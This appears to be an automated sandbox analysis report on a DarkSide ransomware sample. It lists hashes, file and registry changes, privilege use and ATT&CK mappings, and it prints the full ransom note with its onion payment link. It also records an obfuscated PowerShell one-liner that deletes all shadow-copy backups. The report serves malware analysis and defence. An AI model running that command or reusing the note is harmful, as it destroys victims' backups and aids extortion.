darkside | 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9

General

Target

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Size

59KB
MD5

3d57934b0143b09e82092896580f90b0
SHA1

ecfb2a7f8b9cc9878a447c6733b01276c13c5c6b
SHA256

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9
SHA512

0cfdb2c274b11697c875ccbf1943cb5cdee488018eada30408d7f7efc63d6d7df4e954e7239e71de8f8b082b7e9126255524e941e6620eeadf03b7c412b16882

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.82ee2099.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2 When you open our website, put the following data in the input form: Key: sWzBJoqqzL4Zn2RW3HUX03kMJd3SWd7m4wOpd3qUa7eex62poH0PPw7q8ONVepO7dEN6e5RAd7rcv5gHKhPV1uhNsHoV924TIKvNciRU1S0rZhklOZB2E3fcb6WquR9dJAbdA7WTO3bEaNproivkWdrzaYiIpn006YgPHpQbAPGJP7hiVtD8SBKSoie2u3ErPSC51J4jVLOqDj1nqdGnZjZGHyKE092eobTQ1AVRz6xa93AFD6YzLs8D5M1ixHXr6p3ft5xplmULrkaOCnSLMPolSLDUYYoSK37JhGkr4yPVRxwFTCuG8jUe83t2q19AZM9lcqC4Vly1Yyhhu4EHwk2S3AEJp27xrv0Ba4qlNY1P8tFdoh8yG4HSPX7qBMJ3Twk2NSSBzx4wV07gFVw4jSn1E5GF4y0OSz71wszVEolQWnM6MMCwoBPBCFEnSN4ehk1AKlR8QqjLXR9Qn2t0BHt3iUssq3uAq5JY4O8M9ZHw2bXlULA9hzxIlOYJtw5zuMqi8rvzMRmx5IRGKKorl4MPDpEyOr2fg5rMjn4axW6IKvxN3XecwB4 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\RepairSplit.tiff	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File opened for modification	C:\Users\Admin\Pictures\SkipOut.tiff	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File renamed	C:\Users\Admin\Pictures\TestLimit.crw => C:\Users\Admin\Pictures\TestLimit.crw.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File opened for modification	C:\Users\Admin\Pictures\TestLimit.crw.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File opened for modification	C:\Users\Admin\Pictures\UnpublishUninstall.raw.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File opened for modification	C:\Users\Admin\Pictures\UseWatch.raw.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File renamed	C:\Users\Admin\Pictures\RepairSplit.tiff => C:\Users\Admin\Pictures\RepairSplit.tiff.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File opened for modification	C:\Users\Admin\Pictures\RepairSplit.tiff.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File renamed	C:\Users\Admin\Pictures\SkipOut.tiff => C:\Users\Admin\Pictures\SkipOut.tiff.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File opened for modification	C:\Users\Admin\Pictures\SkipOut.tiff.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File renamed	C:\Users\Admin\Pictures\UnpublishUninstall.raw => C:\Users\Admin\Pictures\UnpublishUninstall.raw.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
File renamed	C:\Users\Admin\Pictures\UseWatch.raw => C:\Users\Admin\Pictures\UseWatch.raw.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\82ee2099.BMP"	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\82ee2099.BMP"	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallpaperStyle = "10"	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

Modifies registry class 5 IoCs

Processes:

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\82ee2099.ico"	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099\ = "82ee2099"	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

pid	process
3584	powershell.exe
3584	powershell.exe
3584	powershell.exe
2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeSecurityPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeTakeOwnershipPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeLoadDriverPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeSystemProfilePrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeSystemtimePrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeProfSingleProcessPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeIncBasePriorityPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeCreatePagefilePrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeBackupPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeRestorePrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeShutdownPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeDebugPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeSystemEnvironmentPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeRemoteShutdownPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeUndockPrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeManageVolumePrivilege	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: 33	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: 34	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: 35	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: 36	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeBackupPrivilege	2968	vssvc.exe
Token: SeRestorePrivilege	2968	vssvc.exe
Token: SeAuditPrivilege	2968	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe

description	pid	process	target process
PID 2660 wrote to memory of 3584	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe	powershell.exe
PID 2660 wrote to memory of 3584	2660	5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
"C:\Users\Admin\AppData\Local\Temp\5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3584

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
d57bbc7f42713cee773c2c32916abc3b

SHA1
7a6822690f123e36b9d508d304ab0af8041936b8

SHA256
bbe863eb6ab87d1feea8da89f437fcaf0c48b85dbbf282be7471a34be1587fdd

SHA512
c5e233e1a0a76937f644a68bfd7461418c8777931dec09583ff9b1f8cd80fd3885e439e878b05b7d65ff3162fc79e92d4b8e07e139c823a714e5b99343fc155c

Download Submit
memory/3584-123-0x00000165EBEA0000-0x00000165EBEC2000-memory.dmp

Filesize
136KB

Download
memory/3584-128-0x00000165EE290000-0x00000165EE306000-memory.dmp

Filesize
472KB

Download
memory/3584-140-0x00000165EBE03000-0x00000165EBE05000-memory.dmp

Filesize
8KB

Download
memory/3584-139-0x00000165EBE00000-0x00000165EBE02000-memory.dmp

Filesize
8KB

Download
memory/3584-141-0x00000165EBE06000-0x00000165EBE08000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads